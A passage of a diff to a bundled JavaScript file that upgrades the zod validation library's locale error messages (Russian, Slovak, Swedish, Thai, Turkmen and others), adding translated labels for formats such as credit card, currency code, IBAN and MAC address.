"s\u0103 aib\u0103" }, file: { unit: "octe\u021Bi", verb: "s\u0103 aib\u0103" }, @@ -63483,6 +65640,9 @@ var error37 = () => { base64url: "\u0219ir codat base64url", json_string: "\u0219ir JSON", e164: "num\u0103r E.164", + credit_card: "num\u0103r de card de credit", + currency_code: "cod valutar", + iban: "IBAN", jwt: "JWT", template_literal: "intrare" }; @@ -63559,11 +65719,11 @@ var error37 = () => { }; function ro_default() { return { - localeError: error37() + localeError: error45() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ru.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ru.js function getRussianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -63579,7 +65739,7 @@ function getRussianPlural(count, one, few, many) { } return many; } -var error38 = () => { +var error46 = () => { const Sizable = { string: { unit: { @@ -63612,6 +65772,14 @@ var error38 = () => { many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" }, verb: "\u0438\u043C\u0435\u0442\u044C" + }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" + }, + verb: "\u0438\u043C\u0435\u0442\u044C" } }; function getSizing(origin) { @@ -63638,12 +65806,16 @@ var error38 = () => { duration: "ISO \u0434\u043B\u0438\u0442\u0435\u043B\u044C\u043D\u043E\u0441\u0442\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64", base64url: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64url", json_string: "JSON \u0441\u0442\u0440\u043E\u043A\u0430", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0432\u043E\u0434" }; @@ -63716,17 +65888,135 @@ var error38 = () => { }; function ru_default() { return { - localeError: error38() + localeError: error46() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sl.js -var error39 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sk.js +var error47 = () => { + const Sizable = { + string: { unit: "znakov", verb: "ma\u0165" }, + file: { unit: "bajtov", verb: "ma\u0165" }, + array: { unit: "prvkov", verb: "ma\u0165" }, + set: { unit: "prvkov", verb: "ma\u0165" }, + map: { unit: "polo\u017Eiek", verb: "ma\u0165" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regul\xE1rny v\xFDraz", + email: "e-mailov\xE1 adresa", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "d\xE1tum a \u010Das vo form\xE1te ISO", + date: "d\xE1tum vo form\xE1te ISO", + time: "\u010Das vo form\xE1te ISO", + duration: "doba trvania ISO", + ipv4: "IPv4 adresa", + ipv6: "IPv6 adresa", + mac: "MAC adresa", + cidrv4: "rozsah IPv4", + cidrv6: "rozsah IPv6", + base64: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64", + base64url: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64url", + json_string: "re\u0165azec vo form\xE1te JSON", + e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditnej karty", + currency_code: "k\xF3d meny", + iban: "IBAN", + jwt: "JWT", + template_literal: "vstup" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u010D\xEDslo", + string: "re\u0165azec", + function: "funkcia", + array: "pole" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 instanceof ${issue2.expected}, obdr\u017Ean\xE9 ${received}`; + } + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${expected}, obdr\u017Ean\xE9 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${stringifyPrimitive(issue2.values[0])}`; + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE1 jedna z hodn\xF4t ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.minimum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Neplatn\xFD re\u0165azec: mus\xED za\u010D\xEDna\u0165 na "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Neplatn\xFD re\u0165azec: mus\xED kon\u010Di\u0165 na "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Neplatn\xFD re\u0165azec: mus\xED obsahova\u0165 "${_issue.includes}"`; + if (_issue.format === "regex") + return `Neplatn\xFD re\u0165azec: mus\xED zodpoveda\u0165 vzoru ${_issue.pattern}`; + return `Neplatn\xFD form\xE1t ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Neplatn\xE9 \u010D\xEDslo: mus\xED by\u0165 n\xE1sobkom ${issue2.divisor}`; + case "unrecognized_keys": + return `Nezn\xE1me kl\xFA\u010De: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Neplatn\xFD kl\xFA\u010D v ${issue2.origin}`; + case "invalid_union": + return "Neplatn\xFD vstup"; + case "invalid_element": + return `Neplatn\xE1 hodnota v ${issue2.origin}`; + default: + return `Neplatn\xFD vstup`; + } + }; +}; +function sk_default() { + return { + localeError: error47() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sl.js +var error48 = () => { const Sizable = { string: { unit: "znakov", verb: "imeti" }, file: { unit: "bajtov", verb: "imeti" }, array: { unit: "elementov", verb: "imeti" }, - set: { unit: "elementov", verb: "imeti" } + set: { unit: "elementov", verb: "imeti" }, + map: { unit: "elementov", verb: "imeti" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63752,12 +66042,16 @@ var error39 = () => { duration: "ISO trajanje", ipv4: "IPv4 naslov", ipv6: "IPv6 naslov", + mac: "MAC naslov", cidrv4: "obseg IPv4", cidrv6: "obseg IPv6", base64: "base64 kodiran niz", base64url: "base64url kodiran niz", json_string: "JSON niz", e164: "E.164 \u0161tevilka", + credit_card: "\u0161tevilka kreditne kartice", + currency_code: "koda valute", + iban: "IBAN", jwt: "JWT", template_literal: "vnos" }; @@ -63826,17 +66120,18 @@ var error39 = () => { }; function sl_default() { return { - localeError: error39() + localeError: error48() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sv.js -var error40 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sv.js +var error49 = () => { const Sizable = { string: { unit: "tecken", verb: "att ha" }, file: { unit: "bytes", verb: "att ha" }, array: { unit: "objekt", verb: "att inneh\xE5lla" }, - set: { unit: "objekt", verb: "att inneh\xE5lla" } + set: { unit: "objekt", verb: "att inneh\xE5lla" }, + map: { unit: "objekt", verb: "att inneh\xE5lla" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63860,14 +66155,18 @@ var error40 = () => { date: "ISO-datum", time: "ISO-tid", duration: "ISO-varaktighet", - ipv4: "IPv4-intervall", - ipv6: "IPv6-intervall", + ipv4: "IPv4-adress", + ipv6: "IPv6-adress", + mac: "MAC-adress", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodad str\xE4ng", base64url: "base64url-kodad str\xE4ng", json_string: "JSON-str\xE4ng", e164: "E.164-nummer", + credit_card: "kreditkortsnummer", + currency_code: "valutakod", + iban: "IBAN", jwt: "JWT", template_literal: "mall-literal" }; @@ -63937,17 +66236,18 @@ var error40 = () => { }; function sv_default() { return { - localeError: error40() + localeError: error49() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ta.js -var error41 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ta.js +var error50 = () => { const Sizable = { string: { unit: "\u0B8E\u0BB4\u0BC1\u0BA4\u0BCD\u0BA4\u0BC1\u0B95\u0BCD\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, file: { unit: "\u0BAA\u0BC8\u0B9F\u0BCD\u0B9F\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, array: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, - set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } + set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, + map: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63973,12 +66273,16 @@ var error41 = () => { duration: "ISO \u0B95\u0BBE\u0BB2 \u0B85\u0BB3\u0BB5\u0BC1", ipv4: "IPv4 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", ipv6: "IPv6 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", + mac: "MAC \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", cidrv4: "IPv4 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", cidrv6: "IPv6 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", base64: "base64-encoded \u0B9A\u0BB0\u0BAE\u0BCD", base64url: "base64url-encoded \u0B9A\u0BB0\u0BAE\u0BCD", json_string: "JSON \u0B9A\u0BB0\u0BAE\u0BCD", e164: "E.164 \u0B8E\u0BA3\u0BCD", + credit_card: "\u0B95\u0B9F\u0BA9\u0BCD \u0B85\u0B9F\u0BCD\u0B9F\u0BC8 \u0B8E\u0BA3\u0BCD", + currency_code: "\u0BA8\u0BBE\u0BA3\u0BAF\u0B95\u0BCD \u0B95\u0BC1\u0BB1\u0BBF\u0BAF\u0BC0\u0B9F\u0BC1", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -64048,17 +66352,135 @@ var error41 = () => { }; function ta_default() { return { - localeError: error41() + localeError: error50() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/th.js -var error42 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tg.js +var error51 = () => { + const Sizable = { + string: { unit: "\u0430\u043B\u043E\u043C\u0430\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + file: { unit: "\u0431\u0430\u0439\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + array: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + set: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + map: { unit: "\u0441\u0430\u0431\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0432\u0443\u0440\u0443\u0434", + email: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 email", + url: "URL", + emoji: "\u044D\u043C\u043E\u04B7\u0438", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0441\u0430\u043D\u0430\u0432\u0443 \u0432\u0430\u049B\u0442\u0438 ISO", + date: "\u0441\u0430\u043D\u0430\u0438 ISO", + time: "\u0432\u0430\u049B\u0442\u0438 ISO", + duration: "\u0434\u0430\u0432\u043E\u043C\u043D\u043E\u043A\u0438\u0438 ISO", + ipv4: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv4", + ipv6: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv6", + mac: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 MAC", + cidrv4: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv4", + cidrv6: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv6", + base64: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64", + base64url: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64url", + json_string: "\u0441\u0430\u0442\u0440\u0438 JSON", + e164: "\u0440\u0430\u049B\u0430\u043C\u0438 E.164", + credit_card: "\u0440\u0430\u049B\u0430\u043C\u0438 \u043A\u043E\u0440\u0442\u0438 \u043A\u0440\u0435\u0434\u0438\u0442\u04E3", + currency_code: "\u0440\u0430\u043C\u0437\u0438 \u0430\u0441\u044A\u043E\u0440", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0432\u0443\u0440\u0443\u0434" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0440\u0430\u049B\u0430\u043C", + string: "\u0441\u0430\u0442\u0440", + array: "\u043C\u0430\u0441\u0441\u0438\u0432", + object: "\u043E\u0431\u044A\u0435\u043A\u0442", + date: "\u0441\u0430\u043D\u0430" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${expected} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442, ${received} \u0433\u0438\u0440\u0438\u0444\u0442\u0430 \u0448\u0443\u0434`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${stringifyPrimitive(issue2.values[0])} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + return `\u0418\u043D\u0442\u0438\u0445\u043E\u0431\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u044F\u043A\u0435 \u0430\u0437 ${joinValues(issue2.values, "|")} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.prefix}" \u043E\u0493\u043E\u0437 \u0448\u0430\u0432\u0430\u0434`; + if (_issue.format === "ends_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.suffix}" \u0430\u043D\u04B7\u043E\u043C \u0451\u0431\u0430\u0434`; + if (_issue.format === "includes") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 "${_issue.includes}"-\u0440\u043E \u0434\u0430\u0440 \u0431\u0430\u0440 \u0433\u0438\u0440\u0430\u0434`; + if (_issue.format === "regex") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 \u043D\u0430\u043C\u0443\u043D\u0430\u0438 ${_issue.pattern} \u043C\u0443\u0432\u043E\u0444\u0438\u049B\u0430\u0442 \u043A\u0443\u043D\u0430\u0434`; + return `${FormatDictionary[_issue.format] ?? issue2.format}-\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + case "not_multiple_of": + return `\u0420\u0430\u049B\u0430\u043C\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 ${issue2.divisor} \u0431\u0435 \u0431\u0430\u049B\u0438\u044F \u0442\u0430\u049B\u0441\u0438\u043C \u0448\u0430\u0432\u0430\u0434`; + case "unrecognized_keys": + return `\u041A\u0430\u043B\u0438\u0434${issue2.keys.length > 1 ? "\u04B3\u043E\u0438" : "\u0438"} \u043D\u043E\u043C\u0430\u044A\u043B\u0443\u043C: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u041A\u0430\u043B\u0438\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442\u0438 \u0434\u0438\u0441\u043A\u0440\u0438\u043C\u0438\u043D\u0430\u0442\u043E\u0440: ${opts} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + } + return "\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442"; + case "invalid_element": + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + default: + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + }; +}; +function tg_default() { + return { + localeError: error51() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/th.js +var error52 = () => { const Sizable = { string: { unit: "\u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, file: { unit: "\u0E44\u0E1A\u0E15\u0E4C", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, array: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, - set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } + set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, + map: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64084,12 +66506,16 @@ var error42 = () => { duration: "\u0E0A\u0E48\u0E27\u0E07\u0E40\u0E27\u0E25\u0E32\u0E41\u0E1A\u0E1A ISO", ipv4: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv4", ipv6: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv6", + mac: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 MAC", cidrv4: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv4", cidrv6: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv6", base64: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64", base64url: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64 \u0E2A\u0E33\u0E2B\u0E23\u0E31\u0E1A URL", json_string: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A JSON", e164: "\u0E40\u0E1A\u0E2D\u0E23\u0E4C\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E23\u0E30\u0E2B\u0E27\u0E48\u0E32\u0E07\u0E1B\u0E23\u0E30\u0E40\u0E17\u0E28 (E.164)", + credit_card: "\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E1A\u0E31\u0E15\u0E23\u0E40\u0E04\u0E23\u0E14\u0E34\u0E15", + currency_code: "\u0E23\u0E2B\u0E31\u0E2A\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19", + iban: "IBAN", jwt: "\u0E42\u0E17\u0E40\u0E04\u0E19 JWT", template_literal: "\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E17\u0E35\u0E48\u0E1B\u0E49\u0E2D\u0E19" }; @@ -64159,17 +66585,126 @@ var error42 = () => { }; function th_default() { return { - localeError: error42() + localeError: error52() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/tr.js -var error43 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tk.js +var error53 = () => { + const Sizable = { + string: { unit: "simwol", verb: "bolmaly" }, + file: { unit: "ba\xFDt", verb: "bolmaly" }, + array: { unit: "elementler", verb: "bolmaly" }, + set: { unit: "elementler", verb: "bolmaly" }, + map: { unit: "elementler", verb: "bolmaly" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "giri\u015F", + email: "e-po\xE7ta salgysy", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO sene we wagt", + date: "ISO sene", + time: "ISO wagt", + duration: "ISO wagt aralygy", + ipv4: "IPv4 salgysy", + ipv6: "IPv6 salgysy", + mac: "MAC salgysy", + cidrv4: "IPv4 aralygy", + cidrv6: "IPv6 aralygy", + base64: "base64 bilen \u015Fifrlenen setir", + base64url: "base64url bilen \u015Fifrlenen setir", + json_string: "JSON setiri", + e164: "E.164 nomeri", + credit_card: "kredit kartyny\u0148 nomeri", + currency_code: "wal\xFDuta kody", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u015Fablon" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `N\xE4dogry baha: gara\u015Fylan ${expected} \xFDerine ${received} alyndy`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `N\xE4dogry baha: ${stringifyPrimitive(issue2.values[0])} bolmaly`; + return `N\xE4dogry sa\xFDlaw: a\u015Fakdakylardan biri bolmaly: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()} ${sizing.unit}`; + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `N\xE4dogry setir: "${_issue.prefix}" bilen ba\u015Flamaly`; + if (_issue.format === "ends_with") + return `N\xE4dogry setir: "${_issue.suffix}" bilen gutarmaly`; + if (_issue.format === "includes") + return `N\xE4dogry setir: "${_issue.includes}" saklamaly`; + if (_issue.format === "regex") + return `N\xE4dogry setir: ${_issue.pattern} nusga la\xFDyk bolmaly`; + return `N\xE4dogry ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `N\xE4dogry san: ${issue2.divisor} bilen galyndysyz b\xF6l\xFCnmeli`; + case "unrecognized_keys": + return `Tanalma\xFDan a\xE7ar${issue2.keys.length > 1 ? "lar" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} i\xE7inde n\xE4dogry a\xE7ar`; + case "invalid_union": + return "N\xE4dogry baha"; + case "invalid_element": + return `${issue2.origin} i\xE7inde n\xE4dogry baha`; + default: + return `N\xE4dogry baha`; + } + }; +}; +function tk_default() { + return { + localeError: error53() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tr.js +var error54 = () => { const Sizable = { string: { unit: "karakter", verb: "olmal\u0131" }, file: { unit: "bayt", verb: "olmal\u0131" }, array: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, - set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } + set: 